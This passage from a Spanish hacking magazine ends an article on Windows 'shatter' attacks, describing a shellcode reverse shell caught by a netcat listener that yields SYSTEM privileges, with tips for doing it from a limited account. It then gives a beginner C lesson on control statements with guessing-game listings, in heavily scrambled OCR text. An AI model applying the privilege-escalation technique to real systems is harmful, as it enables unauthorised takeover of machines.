Si hacemos un whoami veamos que
informa... (pantalla 30)
Casi nada... una shell con privilegios de
sistema....

Pantalla 26. Resultado de la bsqueda y posiciones en la que se encuentra.

Pantalla 27. netcat a la escucha....

Esa es la posicin...que debemos


anotar
Ahora abandonaremos el debugger,
escribimos q en la lnea de comandos y
cerramos la ventana)

Pantalla 28. Configuracin de shatter,


HANDLE, WPARAM Y LPARAM.

A h o ra p o n g a m o s u n n e t c a t a l a
escucha... si todo va bien la shellcode
entregar una lnea de comandos por
el puerto 123, por lo que vamos a dejar
a netcat escuchando por dicho puerto:
(pantalla 27)

Como ves funcionar funciona... claro,


que estars pensando lo inviable de este
tipo de ataques... no seas como
Microsoft y no subestimes lo inevitable.
Aparecieron algunos virus y troyanos...
para aplicaciones de control remoto del
tipo dameware, pero sobretodo aquel
que explotaba el administrador de
utilidades mediante winhlp32.exe que
invoca a la ayuda de Windows, cabe
resaltar que ese archivo se ejecuta de
forma oculta y con privilegios de
System, por lo que se entregaba una
shell con mximos privilegios... y eso
fue sobre abril de 2004 dos aos ms
tarde que el documento de Paget y un
ao despus del parche.... menos mal
que estaba parcheado segn
Microsoft...
El parche de "in-seguridad y sus
explicaciones" podis encontrarlo aqu:
http://www.vsantivirus.com/vulms02069-070-071.htm#3

51

al azar, no es muy elegante pero


funcionar funciona. Adems, muchas
aplicaciones pueden causar errores si
tocamos donde no se debe... eso es
bastante til para hacernos una idea de
las posiciones de memoria en las que
se ejecutan.

Pantalla 29. La shellcode se conecta al netcat que dejamos a la escucha.

Pantalla 30 Tras un whoami descubrimos que tenemos una shell de System


Los sistemas afectados hasta
octubre de 2004!!! por algn tipo de
Shatter Attcack como el que acabamos
de describir son:
Microsoft Windows 98, 98SE, ME
Microsoft Windows NT 4.0
Microsoft Windows 2000 Service
Pack 4
Microsoft Windows XP, Microsoft
Windows XP Service Pack 1
Microsoft Windows Server 2003
Y por supuesto... no hace falta debugger,

lo del depurador no es ms que uno de


los instrumentos que necesitbamos
para nuestro "laboratorio" de prcticas.
Si practicas "un poco" vers que es
perfectamente posible realizar la misma
tcnica como usuario y cuenta limitada,
no podrs usar el debugger, pero si
haces bastante hueco mediante
EM_SETLIMITTEXT y metes unos
cuantos megas de NOP's no te ser
difcil encontrar una posicin vlida
aunque sea un mtodo de ensayo-error,

Bueno, eso ser de tu cosecha... quien


os escribe lo consigui tras media docena
de intentos... pero eso no es el objeto
de este artculo, el verdadero sentido
del mismo es profundizar un poquito en
esos bugs y agujeros de seguridad que
a veces tanto nos asombran, y no es
para menos, la tcnica, la elaboracin
d e l o s p r o g ra m a s n e c e s a r i o s , l a
shellcode.... todo un arte de ingenio
y sabidura, un verdadero placer que
gente como Paget, Lavery, Dark
Spyrit y multitud de autnticos monstruos de la informtica compartan con
nosotros sus avances y conocimientos...
a nosotros nos toca descubrirnos ante
ellos y nos conformamos con entenderlo,
por algo se empieza... digo yo....
La tcnica descrita por Paget, es la ms
sencilla de "demostrar" y tambin de
parchear, como hizo Microsoft, el
documento de Oliver Lavery avanza
en el ataque prescindiendo de los mensajes del tipo WM_TIMER
Saludos. Vic_Thor

Atencin al Cliente
Telfono de Atencin al Cliente:

977 22 45 80

Persona de Contacto:

Srta. Genoveva

Peticin de nmeros atrasados y suscripciones

FAX:

977 24 84 12

Servicio Ofrecido de Lunes a Viernes


De 10:00 A 13:00
52

Bienvenido una vez ms a este curso, que espero que est siendo de vuestro agrado y que
os ayude a aprender, pues para eso est. Hasta ahora, con lo que sabemos, los programas
que podemos hacer son lineales y su flujo (camino desde que empiezan hasta que terminan)
es totalmente predecible. En esta entrega, vamos a ser un peln menos deterministas y a
ejercer un mayor control sobre los programas que hagamos.
Sin ms dilacin, pasemos a ver de qu va todo esto.
junto a switch, label junto a goto)
Expresin (Expresiones vlidas en C simplemente)
Imaginad que tenis que ir de un sitio a otro en una

Bloque (Bloque de cdigo, como ya se vio en la

carretera que es todo el rato recta. Al principio, la cosa

primera entrega)

estar divertida: le pisaramos al coche (siempre hasta el


lmite legal, que aqu no se incita a hacer absolutamente
nada ilegal :P) y sentiramos la sensacin de velocidad.
Pero al cabo del rato, nos aburriramos. Sera ms divertido
si pudiramos cambiar de paisaje, tomar alguna curva...
Bien, en programacin los programas pueden discurrir por

Vamos a empezar a tratar estos tipos de sentencias, que

carreteras rectas y todo ir como la seda; sin posibilidad

nos permitirn tener ms control sobre nuestros programas.

de variacin. Podemos hacer que la carretera por donde


discurra nuestro cdigo se vuelva sinuosa? No s ... se

La primera de las sentencias que vamos a ver, y que no

puede hacer algo ms interesante?

es ninguna del Tribunal Supremo (chiste malo, pero hay


que resignarse, no todos van a ser buenos :P), es la

Pues s, la verdad que s. Si no, esto de programar sera

sentencia if, que traducido al espaol, es el condicional

tan aburrido como el ejemplo de conduccin que pona

si.

antes. Para satisfacer nuestra sed de poder, C pone a


nuestra disposicin un rico conjunto de sentencias de
control:
Seleccin (Operador condicional ? :, if y switch)
Iteracin (Sentencias while, for y do while)
Salto (Sentencias break, continue, goto para
algunos hertica y return)
Etiquetado (Sentencias case y default, que se vern

Su sintaxis es la siguiente:
if (condicin) sentencia;
else sentencia;

Donde:
condicin es cualquier expresin vlida que arroje un
valor de tipo entero, carcter o de coma flotante (este

53

ltimo se puede evitar en todo lo posible,

quiero decir realmente con esto

ya que hace que los programas sean

(imagen 1).

lentos a la CPU le lleva varios ciclos


de reloj operar con nmeros en coma

Podemos ver cmo se ramifica el cdigo

flotante). En C, un valor igual a cero

con este tipo de sentencias de decisin.

ser tomado como falso. Cualquier otro

Una cosa que hay que resaltar. Cada if

(positivo o negativo) verdadero.

anidado puede llevar, lgicamente su


else (en la imagen anterior he puesto

Imagen 2

sentencia es una orden o conjunto de

a cada if con un else anidado, aunque

El uso de este tipo de grficos, aparte

rdenes/ins-trucciones (sentencia

el else es opcional). Y hay que tener

de para tener ms claro qu se trata de

compuesta) a realizar en caso de que

mucho cuidado con los bloques, ya que

la condicin que se cumple sea

nuestras amigas las llaves ({ y })

hacer, es bueno cuando se diseen

verdadera (con if) o en cualquier otro

aslan lo que hay entre ellas del resto

algoritmos y se est estudiando la

caso (else).

del cdigo, como ya se vio en la entrega

complejidad de los mismos. Si la opcin

anterior. Esto lo digo porque puede que

ms probable de todas est en niveles

Este tipo de sentencias establece una

pongamos un else que queramos que

profundos de nuestro anidamiento, pues

bifurcacin de caminos en nuestro

corresponda con un if determinado, y

obviamente se har ms lento el

cdigo. Ya podemos conducir hacia un

si no tenemos cuidado con las llaves,

programa.

sitio o a otro, dependiendo de un criterio

podemos llevarnos alguna que otra

Existe una forma en C de realizar

la condicin que establezcamos.

sorpresa en la ejecucin del cdigo. Esta

sentencias de seleccin es mediante el

circunstancia se agrava an ms cuando

operador ternario ?, que tiene la

Y esto, seoras y seores, se puede

tenemos que poner llaves para senten-

siguiente pinta:

complicar ms, en el sentido de que

cias compuestas que queramos que se

podemos

de

ejecuten con el if. Todo un verdadero

anidamiento para los if, del siguiente

l a b e r i n t o. Pe r o e s t o h a r q u e l a

modo:

conduccin sea ms agradable, no? :P.

En este caso, podemos utilizar senten-

El nivel de profundidad de nuestro

comparacin ...). Funciona del siguiente

anidamiento (es decir, cuntos if

modo. Se evala expresin 1: si el resul-

anidados podemos poner) depende del

tado es verdadero, se ejecuta la expre-

compilador. El estndar ANSI garantiza

sin 2, en caso contrario, la expresin

un mnimo de 15 niveles.

3. Fcil y sencillo, verdad?. La diferencia

establecer

niveles

if (condicin 1)
{
if (condicin 2) sentencia 1;
else sentencia 2;
{
....
}
}
else sentencia 3;

El modo en el que funciona este tipo de


sentencia es muy parecido al primero.
En este caso, observad que la sentencia
del if (condicin) que vimos anteriormente, es una sentencia compuesta en
este caso por ms if, lo cual es
perfectamente vlido en C. Este tipo de
if anidados dara una imagen de ramales
por donde puede discurrir el trfico de
nuestras aplicaciones. En la siguiente
imagen se puede ver ms claro qu

con la sentencia ifelse (que es a la que


sustituye) es en que se pueden usar

racional de estos anidamientos, la

con este operador ternario cualquier

constituye la escalera ifelseif,

tipo de sentencia, mientras que con

aunque la forma de trabajar con ella es

ifelse, estamos limitados a condiciones

ligeramente inferior a la anterior. Su

de comparacin.

sintaxis es:
if (condicin 1) sentencia 1;
else
if (condicin 2) expresin 2;
else
.
.
.

la rama por la parte del else, en vez de


por la parte del if, que es la diferencia
con el caso anterior de if anidados. Esto
da, de alguna manera, una imagen de
complementariedad de este tipo de
anidamiento y el anterior. En la siguiente

54

cias cualesquiera de C (asignacin,

Una construccin un poquito ms

Como vemos, en este caso, construimos

Imagen 1

Expresin 1 ? Expresin 2 : Expresin 3

imagen puede verse de forma visual lo


que trato de decir. (imagen 2).

Y esto termina las sentencias de


seleccin. Para regocijo vuestro y de
vuestros compiladores, vamos a ver un
pequeo

programa, donde vamos a

jugar con el ordenador al famoso juego


de adivinar nmeros. Es el tpico ejemplo
que aparece cuando se ven sentencias
de seleccin, y lo usaremos en esta entrega para ver/estudiar los distintos tipos
de sentencias de control que C nos
brinda, con sus virtudes y defectos :P.
Aqu

tenemos

cdigo:(listado 1)

un

ejemplo

de

Compilad y ejecutad el programa. Os


/* Programa que ilustra varias sentencias de seleccin en C */

animo a que juguis un poquito con l.

// Importacin de libreras
#include <stdio.h>
#include <stdlib.h>

En principio, una vez que adivinis el

// Declaracin de funciones
int cuadrado_numero(int);

recompilis varias veces saldr el mismo

int main()
{

ms bien algo ficticio.

nmero, ste ser el mismo de ejecucin


a ejecucin del programa. Incluso si
nmero. Con lo cual lo de aleatorio es

// Variables
char nivel_dificultad;
int numero_misterioso = 0;
int intento = 0;

A la funcin rand() se le ha aadido la


operacin mdulo (%). Esto lo hago
porque si no, el programa tendra un

// Usamos la funcin rand() para elegir un nmero aleatorio


numero_misterioso = rand();

fallo de bulto: los nmeros se saldran

// El programa nos pide seleccionar un nivel de dificultad


printf("\n\tDeseas que te lo ponga (f)cil o (d)ifcil?");
scanf("%c", &nivel_dificultad);

nos lo ponga difcil, ya que eleva el

// Una vez ledo lo que el usuario ha introducido ejecutamos el programa


if (nivel_dificultad == 'f')
{
printf("\n\nIntroduce un nmero por teclado: ");
scanf("%d", &intento);
intento == numero_misterioso ?
printf("\n\tEnhorabuena, has acertado") :
printf("\n\tLo siento, ms suerte para la prxima");
}
else
if (nivel_dificultad == 'd')
{
numero_misterioso = cuadrado_numero(numero_misterioso);
printf("\n\nIntroduce un nmero por teclado: ");
scanf("%d", &intento);
intento == numero_misterioso ?
printf("\n\tEnhorabuena, has acertado\n") :
printf("\n\tLo siento, ms suerte para la prxima\n");
}

cmo esto que digo es cierto, ya que

else
}

de rango si queremos que el programa


nmero al cuadrado y sera negativo.
Probad a quitarle el % 101 y veris
RAND_MAX es un entero muy grande
(su valor est cercano a los dos mil
millones).
Para generar un poco de aleatoriedad
hay que usar otra funcin distinta. Es
srand() dicha funcin. Podis tener ms
ayuda en http://www.geocities.com/
chuidiang/funciones/rand.htm (si queris
usar getpid() como generador de
semillas, no se os olvide importar la
librera unistd.h, en caso de querer usar
la hora time.h es vuestra librera).

printf("\n\tNivel no reconocido. Introduce f o d");

Tambin podis usar el google y buscar


rand(). En las pginas clsicas como
http://www.forosdelweb.com/

// Definicin de la funcin cuadrado_numero

http://c.conclase.net tambin tenis

int cuadrado_numero(int numero)


{
int resultado;
resultado = numero > 0 ? numero*numero : -(numero*numero);
return resultado;
}

informacin para aburrir.


Si queris saber ms sobre nmeros
aleatorios (un tema computacionalmente
fascinante) podis ver la pgina man
de rand o srand. Aparte os recomiendo

Listado 1

el libro Numerical Recipes in XXX

Bien, como podemos ver, aqu tenemos

variable que le indiquemos. El primer

donde XXX no es lo que os pensis

ejemplos de los anteriores esquemas

argumento que se le ha pasado en este

(malpensaos :P), sino que puede ser C,

de seleccin. Aqu vemos que hemos

caso, es una cadena de formato, que

Java, Fortran... El recomendable en este

introducido dos nuevas funciones: rand()

indica qu tipo de dato cabe esperar

caso es Numerical Recipes in C

y scanf(). La primera, incluida en


stdlib.h, nos permite generar nmeros
aleatorios, entre 0 y RAND_MAX que es
una constante la cual define un nmero
entero muy grande.
La funcin scanf() nos permite pedir
datos al usuario y almacenarlos en la

obviamente. Tambin viene en la pgina


que el usuario introduzca. El segundo

man esta recomendacin.

argumento es la variable (en realidad,


un puntero a la direccin de memoria

Una ltima forma de realizar sentencias

de la variable) donde se almacena el

de seleccin en C es mediante el uso

valor introducido por el usuario. Esto lo

de switch. Su uso/sintaxis es el

veremos ms adelante cuando hablemos

siguiente:

de punteros.

55

switch (expresin) {
case constante1:
secuencia de sentencias;
break;
case constante2:
secuencia de sentencias;
break;
case constante3:
secuencia de sentencias;
break;
.
.
.
default:
secuencia de sentencias;
}

un caso bajo la misma secuencia de

que se cumpla una cierta condicin,

sentencias, para no repetir.

como prefiris. Esta condicin puede


estar predefinida de antemano, como
de

en el caso de los bucles for o no; como

construcciones ms adelante en el curso.

en el caso de los bucles while y dowhile.

Vo l v e r e m o s

sobre

este

tipo

Suelen venir bien cuando tenemos que


hacer un men con varias opciones. De
esta forma, queda todo ms claro y
menos difuso que si usramos cualquier
otra construccin con if.

Os gustan los loopings en las


carreteras? La sensacin de estar

Las sentencias switch tienen adems

cabeza abajo? Bueno, pues en C

otro tipo de limitaciones:

podemos estar dando vueltas y vueltas


al mismo cdigo una serie de veces,

Esta forma de realizar estructuras de


seleccin se puede ver que se parece

1 . S l o p u e d e n u s a r s e p a ra

que no vienen predefinidas de antemano

mucho a los if else con mltiples

comprobar igualdad, if podra

con las dos construcciones que vienen

ramificaciones. En este caso, se da una

adems

en el epgrafe.

expresin que va a servir para compa-

relacionales y lgicas.

con

expresiones

La construccin de ambas, es muy

rarla con constantes. Cuando coincide


con alguna, se evala la secuencia de

2. Es incorrecto darle a dos case

similar y las pongo juntas, ya que as

sentencias que hay entre el case y el

d i s t i n t o s e l m i s m o va l o r d e

podemos ver en qu se parecen y en

break correspondientes. En caso de que

constante. Se pueden anidar

qu se diferencian:

no coincida con ninguna, se ejecuta lo

sentencias switch, en cuyo caso,

que venga tras la etiqueta default (una

s que es correcto que tengan el

etiqueta es toda expresin que va termi-

mismo valor dos case distintos.

nada con dos puntos, en vez de con

while (condicin) sentencia;


do sentencia while (condicin);

Y ahora la explicacin para cada uno.

punto y coma). Esta etiqueta es opcional

3. Las constantes tipo carcter son

En el primer caso, se evala la condicin

y las sentencias que van con esta y con

convertidas a su equivalente entero

y, mientras sea cierta (de ah el while)

case llaman sentencias de etiqueta.

correspondiente, segn la tabla

se itera sobre sentencia, una y otra vez.

Anda que se quiebran con los nombres

ASCII.

Nota

:P.
4. No es posible declarar variables

En todos los casos para las sintaxis de senten


cias que estoy poniendo, tened en cuenta que
sentencia hace referencia tanto a una simple
instruccin, como a un bloque de cdigo, que
deber ir encerrado entre llaves.

Hay que tener cuidado con dnde se

y/o funciones dentro de sentencias

ponen los break. Cuando se encuentra

case en bloques switch, ya que no

una coincidencia se ejecuta desde

es posible declarar variables locales

secuencia de instrucciones hasta el

dentro de secuencia de sentencias.

primer break del que se tenga noticia

Para ello, deberamos abrir un

o el final de la sentencia switch. Si se

bloque de cdigo con las llaves,

Para el segundo caso, se ejecuta

nos olvida en algn caso un break, si

despus del case y ah meter la

sentencia y luego se comprueba si la

se empieza a cumplir la condicin en la

variable y el resto del bloque de

condicin es verdadera para seguir

etiqueta case del despiste pues

cdigo.. En cambio, s que pueden

iterando.

tambin se ejecutar la siguiente

declararse al principio del bloque,

secuencia de instrucciones hasta un

justo antes de la primera sentencia

A simple vista, dirais que son iguales,

break o final de switch, como ya se ha

case (para el caso de variables).

pero hay una diferencia fundamental:

mencionado anteriormente.

el momento en el cual se evala la


Con esto, hemos visto las principales

condicin. Para el caso del while a secas,

Esto que puede parecer un fallo de C,

sentencias de seleccin en C, pasemos

se realiza al principio, con lo que puede

no lo es en realidad, ya que permite

a carreteras ms excitantes ...

que no se ejecute nunca la sentencia

generar cdigo eficiente, al no tener

dentro del cdigo. Para el segundo, se

que repetir fragmentos de cdigo.

comprueba una vez que se ha ejecutado


la sentencia. Es decir, para el do ...

Esto puede hacerse por despiste como

while, tenemos que siempre nos

ya he dicho, o por conveniencia, porque

Hemos llegado a los ansiados bucles. O

metemos en el bucle. Para el caso del

puede que se necesite agrupar ms de

la repeticin de trozos de cdigo hasta

while, puede que nunca nos metamos.

56

Y esto es as de sencillo. Dependiendo


/* Programa de adivinar un nmero que genere el ordenador aleatoriamente */
// Importaciones de libreras
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
// Declaracin de funciones que vamos a necesitar

de lo que nos interese y de las exigencias


del guin :P, puede que nos interese
meternos una vez en el bucle o puede
que no. C da la flexibilidad necesaria
para que esto ocurra.

void menu (void);


// Presenta un men inicial en pantalla
int genera_aleatorio(void);
// Genera el nmero aleatorio
int pedir_numero(void);
// Pide el nmero al usuario
int comprobar_numero(int, int);
// Comprueba el nmero introducido

Quizs, la expresin ms general de las

// Declaramos una variable global


int intento = 0;

de llegar al bucle de que la condicin

int main()
{

ejecutar.

dos sea la primera, ya que podemos


transformar un bucle while en un do ...
while, sin ms que asegurarnos antes
va a ser cierta y por tanto, se va a

// Variables necesarias
int numero_aleatorio = 0;
int acierto = 0;
int acertado = 0;
// Variable para saber si hemos acertado
char opcion;
// Generamos el nmero aleatorio
numero_aleatorio = genera_aleatorio();
// Presentamos el men y leemos la entrada por teclado del usuario
menu();
opcion = getchar();
// Bucle del programa do ... while
while (acertado == 0 & (opcion != 's' & opcion != 'S'))
{
pedir_numero();
acierto = comprobar_numero(intento,numero_aleatorio);
// Dependiendo de acierto se muestra un mensaje u otro
switch (acierto)
{
case 0:
printf("Enhorabuena, has acertado\n");
acertado = 1;
break;
case 1:
printf("El nmero buscado es menor que el introducido.\n");

printf("Qu desea hacer ahora?\n");


menu();
do
{
opcion = getchar();
} while (opcion != 's' & opcion != 'p');
break;

Para no desechar lo que hemos ido


haciendo en esta entrega, vamos a
retocar nuestro programa para que ahora
se puedan realizar varios intentos.
Vamos a iterar hasta que encontremos
el nmero. Slo son 100 intentos como
mucho, as que no nos preocupemos :P.
Pero vamos a completar el programa.
En cada intento fallido, al menos el
ordenador nos dar informacin de si
es mayor o menor y nos dar la
posibilidad de salirnos del programa
introduciendo un nmero negativo.
Adems, vamos a ver un men sencillo,
de inicio de programa. Esto ya se va
complicando, en el sentido de que
metemos muchos ms elementos aqu
que en los programas anteriores. Esto
ya se va pareciendo a un programa
serio, como empezaremos seguramente
a partir de la siguiente entrega. Pero no
quiero desvelar sorpresas todava.
De momento, centrmonos en este
nuevo programa.

case -1:
printf("El nmero buscado es mayor que el introducido.\n");

printf("Qu desea hacer ahora?\n");


menu();
do
{
opcion = getchar();
} while (opcion != 's' & opcion != 'p');
break;
default:
break;
}
}
}

Listado 2 - contina en la pgina siguiente

El listado con el programa lo podis ver


a continuacin (listado 2).
Bien, el cdigo es bastante sencillo, a
pesar de las funciones y bucles que
tiene. Como veis, an se puede refinar
an ms este programita, aadiendo
funciones (una con el switch, por
ejemplo). Las variaciones las dejo a
vuestra eleccin y criterio. Un aadido
podra ser el incorporar una variable
que lo que haga sea contar el nmero

57

inicializamos la o las variable(s) al inicio


void menu (void)
{
// Presentamos el men en pantalla
printf("\n\nElija una de las siguientes opciones.\n");
printf("1. - Probar suerte. (p)\n");
printf("2. - Salir (s)\n");
}
int genera_aleatorio()
{
srand(time(NULL));
return rand() % 101;
}

del bucle. En condicin hay que poner


la condicin de salida del bucle, de modo
anlogo a como se haca con los bucles
while. E incremento es cmo se va(n)
a incrementar la(s) variable(s) de control
en cada iteracin de bucle.
Para que lo veis ms claro, os pongo
un bucle while equivalente a esta forma
del bucle for:

int pedir_numero()
{
printf("Introduzca un nmero por teclado (entre 0 y 100): ");
scanf("%i",&intento);
printf("\n");
}
int comprobar_numero(int numero1, int numero2)
{
// Devuelve cero si los dos nmeros son iguales
// un uno si numero1 es mayor que numero2
// y un -1 si numero2 es mayor que numero1

incializacin;
while (condicin)
{ secuencia de sentencias;
incremento; }

Fijaos que el bucle for nos permite


inicializar ms de una variable de control
de bucle, encadenadas mediante comas
(,). Un ejemplo de esto lo podemos ver
en el siguiente programa que nos
imprimir dos nmeros en pantalla,
mientras que uno de ellos sea menor

if (numero1 == numero2)
return 0;
else
if (numero1 > numero2)
return 1;
else
return -1;

que diez:
/* Programa que ilustra el uso del bucle for
*/
#include <stdio.h>
int main()
{
int i;
int j;

Listado 2 continuacin

for (i=1,j=1; i<10; i++,j=i+1)


{
printf("El valor de i es: %i\n",i);
printf("El valor de j es: %i\n",j);
}

de veces que se ha intentado adivinar


y al final, cuando se acierte o no se
acierte se muestre el nmero de intentos

Pues puede que parezca pretencioso,

efectuados.

pero realmente, el bucle for es la joya


de la corona en los bucles. Muchos que

Para el tema de generacin de nmeros

hayis estudiado bucles en otros

aleatorios, os he dejado enlaces y libros

lenguajes de programacin, si no

return 0;

Como puede verse, es fcil el uso de


varias variables en los campos de for.

en los que mirar, por si queris ampliar.


conocis el for de C, pegad bien los ojos

Adems, aprovecho para incluir la

De momento, su inters para nosotros

a estas pginas, porque es realmente

funcin main devolviendo un entero,

es en este tipo de programas para

merecedor de todas las joyas de la

que es el cero. Este valor, el cero, es

realizar juegos. Pero pueden dar mucho

corona que queramos plantarle.

considerado como que ha sido un xito


la ejecucin del programa. Volveremos

juego. Ya los iremos descubriendo,


porque son un mundo fascinante.
Ah! Se me olvidaba, la funcin

Y ya, sin ms dilacin, pasemos a

sobre esto ms adelante, de momento

descubrir sus entresijos. En su forma

quedaos con que es un uso, digmoslo

ms general, tenemos que es:

as, frecuente el devolver un cero si el


programa se ha ejecutado de forma

pedir_numero podra haberse codificado


de otra forma. Hay, digamos, un fallito
pequeo en su codificacin, que no va
a hacer que el programa no se ejecute,
pero que para los puristas puede que
resulte horrendo a la vista...

58

for (inicializacin; condicin; incremento)


{secuencia_de_sentencias}

Bien, explicando que es gerundio :P: El


primer campo de for es una sentencia
d e i n i c i a l i z a c i n , e s d e c i r, a q u

satisfactoria.
Vamos a seguir adornando a nuestro
bucle for. Ya que si no, alguno me dir
que me invento halagos para este bucle
:P. La verdadera potencia de este bucle

con la miel en los labios, vamos a ver

/* Programa con variantes del bucle for */


#include <stdio.h>
#include <stdlib.h>
#include <time.h>

si podemos codificar el mismo programa


que averiguaba nmeros con el bucle
for. Mediante lo que os he dicho antes,
podemos arreglarnos para que el bucle

void menu(void);
int pedir_numero(void);
int genera_aleatorio(void);
int comprobar_numero(int,int);

for sea un bucle infinito(listado 3).


C o m o p o d i s ve r, e s t e p r o g ra m a

int intento = 0;
int main()
{

funciona, aunque es muy pobre. No nos


dice si vamos bien o mal encaminados
y adems no nos deja aburrirnos de

int numero_aleatorio = 0;
int acierto = 10;
int acertado = 0;
char opcion;

intentar averiguar el nmero, ya que


presenta una sola vez el men. Las
modificaciones no son excesivamente

numero_aleatorio = genera_aleatorio();
for (menu(),opcion = getchar(); acierto == 0 | opcion != 's'; pedir_numero())
{
acierto = comprobar_numero(intento,numero_aleatorio);
}

return 0;

os dejo como ejercicio que le incluyis


las

modificaciones

que

creis

convenientes. La solucin es simple y


no voy a darla en prximos nmeros,
aunque

s,

en

nuestro

foro:

http://www.hackxcrack.com/phpBB2/i

void menu (void)


{
// Presentamos el men en pantalla
printf("\n\nElija una de las siguientes opciones.\n");
printf("1. - Probar suerte. (p)\n");
printf("2. - Salir (s)\n");
}

ndex.php. Os invito a entrar y compartir


vuestras

soluciones,

expresar

inquietudes, lo que queris. Os recuerdo


q u e t o d o s , i n c l u i d o y o, e s t a m o s
aprendiendo y que seguro que le
sacamos mucho jugo al bucle for entre

int genera_aleatorio()
{
srand(time(NULL));
return rand() % 101;
}

todos ;-).
El programa como veis inicializa pidiendo

int pedir_numero()
{
printf("Introduzca un nmero por teclado (entre 0 y 100): ");
scanf("%i",&intento);
printf("\n");
}
int comprobar_numero(int numero1, int numero2)
{
// Devuelve cero si los dos nmeros son iguales
// un uno si numero1 es mayor que numero2
// y un -1 si numero2 es mayor que numero1

difciles, as que, pequeos padawan,

una opcin y presentando el men,


comprueba que ni hemos introducido el
carcter correspondiente a salir, ni
hemos averiguado el nmero, nos pide
el nmero (la actualizacin se da justo
antes de entrar en el bucle for lo que
pasa es que en los convencionales esto
es transparente al usuario).
Si se cumplen las condiciones para que

if (numero1 == numero2)
return 0;
else
if (numero1 > numero2)
return 1;
else
return -1;

se entre en el for, pues se comprueba


que el nmero introducido por teclado
y el generado aleatoriamente sean
iguales, o uno mayor que otro va
funcin comprobar_numero (recordad
el anterior programa). De aqu se vuelve

Listado 3

a entrar, esta vez sin pedir si queremos

estriba en que cualquiera de los campos

y que adems, sta debe ser vlida en

seguir

del mismo, puede ser una expresin

un nmero de intentos que definamos

(suponemos que queremos seguir

probando

suerte

salir

vlida en C, incluso funciones... S,

de antemano.

probando suerte). Adems no nos da el


programa ninguna informacin de cmo

habis ledo bien. Y no, no estoy


borracho :P. Un ejemplo de la utilidad

Este programa requerir ver arrays, as

estamos yendo en nuestro proceso de

de este tipo de cosas puede ser un

que lo dejaremos para sucesivas entre-

bsqueda. Pero bueno, seguro que lo

programa que pida una clave al usuario

gas :P. Y para que no digis que os dejo

mejoris ;-).

59

uso. Adems, estamos obligados a seguir

Aqu en cdigo_devuelto podemos

unas ciertas reglas para operar con l:

devolver un cero al sistema operativo,


para indicar ejecucin normal del

Primero, debemos de usarlo de


Que nadie se asuste que no vamos a

la forma:

este captulo comentando las secuencias


de salto que tenemos en C. Quizs este
epgrafe sea tildado de hereja por algn
purista de la programacin. Que me
perdone. Mi deber es exponer qu nos
ofrece C. Luego que cada cual haga lo
que crea conveniente, sea o no buena
prctica de la programacin.

goto etiqueta;
.
.
etiqueta:
{secuencia_de_sentencias}

Donde etiqueta es un identificador


vlido de C seguido de dos puntos
(:).
Despus, no podemos usarlo
para salirnos de una funcin. Es
decir, la etiqueta debe estar en la
misma funcin que el goto.

Bien, esta sentencia ya ha sido vista


con anterioridad. Y s, es una sentencia
de salto, ya que lo que hace es volver
de la funcin al punto donde se llam
la funcin. Se salta a dicho punto. Y lo

para indicar que hemos tenido alguna


anomala durante la ejecucin del

programar un ajedrez en C. Al menos,


no de momento :P. Vamos a terminar

programa; o bien cualquier otro valor

Y no hay mucho ms que decir del goto.


Os animo a que intentis emular bucles
while y for con el goto. Como siempre,
el foro os espera ;-).

mismo.
Y como todo en esta vida (o casi todo)
tiene su contrario, break tiene un
antagnico (aunque no es un antagnico
puro, ya que no hace solamente lo
contrario): continue, que hace que no
se ejecute lo que sigue a partir de l
hasta el final del bucle, pero no salta
fuera de l. Lo que hace es volver a
ejecutar las partes de las pruebas
condicionales y de incremento de bucle
en bucles for y en while y dowhile a la
prueba condicional.
Es til combinado con alguna expresin
condicional dentro del bucle para
discernir si ejecutamos hasta el final
del bucle o reiniciamos el bucle.

bueno de C es que no pone lmites a


nuestra imaginacin. Podemos usar en
las funciones tantos return como
queramos. Ahora bien, en cuanto se
encuentre la funcin con el primero se
salta y el resto se ignoran.
Cuando no acompaamos de un valor
a return, el compilador asume un valor
por defecto para devolver. Esto mismo
ocurre en una funcin cuando no usamos
return. La llave de cierre hace de return
sin valor. Como veis, todo al final tiene
sentido y vemos por qu si no podemos
un return en una funcin, aparentemente, no pasa nada.

Bien, para salir de bucles sin necesidad


de que se cumpla la condicin que
hemos predispuesto a tal efecto,
tenemos break. Como hemos visto, se
puede utilizar tambin en los case, para
que salga sin necesidad de seguir
evaluando los case subsiguientes. Es
decir, es una salida incondicional (sin
condiciones, qu locuacidad la ma :P)
de bucles y en este caso, adems, de
los case.
Se puede utilizar para dar un control
extra sobre salida en bucles y puede
interesarnos en ciertos casos. Como
siempre, a gusto del programador. C
p o n e l a s h e r ra m i e n t a s , n o s o t r o s

Bien, llega la controversia. C nos brinda


la opcin de una variedad rica de
sentencias y control sobre el flujo del
programa que tenemos. Y por eso
incluye al amadoodiado goto. La causa
de su odio y a la vez de su amor, es
que se u til izab a t a n t o qu e h a ca
programas ilegibles. Y se usaba tanto
porque era fcil de usar. Sin embargo,
en C no es estrictamente necesario su

60

debemos saber si las queremos o no


utilizar. O si nos conviene utilizarlas...
Existe un break ms contundente: la
funcin exit(). Esta funcin lo que hace
es terminar con el programa, devolviendo el control al sistema operativo.
Un peln radical, s, pero puede ser til
en ciertos momentos. Su forma general,
ya que es una funcin es:
void exit(int cdigo_devuelvo);

De todos estos no pongo ejemplos de


cdigo. Os dejo para que probis si
podemos usarlos en nuestro programita
de averiguar nmeros con bucle for, a
ver si podemos mejorarlo y que sea ms
completo y nos anime a jugar.
Y esto ha sido todo por esta entrega.
Espero que os guste y que os anime a
aprender este apasionante lenguaje que
es el C.
Habris visto que no he dado ejemplos
de compilacin y/o ejecucin esta vez.
Esto es para que tanto los que usis
Linux como Windows podis seguir mejor
los ejemplos, os animis a probarlos
(que no son tan largos) y as podis
exponer las dudas en el foro sobre
compiladores, formas de compilacin,
etctera.
Y ya me despido de vosotros. No sin
daros las gracias por leerme hasta aqu
e invitndonos a vernos en el foro para
intercambiar ideas, dudas, crticas e
inquietudes que tengamos.

Con este artculo inauguramos un nuevo apartado en la revista. Bienvenidos a la nueva seccin
de Pc Paso a Paso: La Cafetera. Aqu encontraris todo tipo de artculos, desde FAQs(Frequently
Asked Questions) o manuales, hasta entrevistas con 'celebridades' de la informtica, pasando
por artculos de opinin, noticias relevantes e incluso una tira cmica, que los informticos
tambin tenemos sentido del humor :D
Llamadlo un rea de Off Topics, Artculos varios o Temtica General, pero el fin es el mismo:
entreteneros, informaros y haceros la lectura de esta revista ms divertida(an), ya que no
solo de cursos vive el hombre :). Esperamos poder cumplir con nuestro deseo.... Poneos
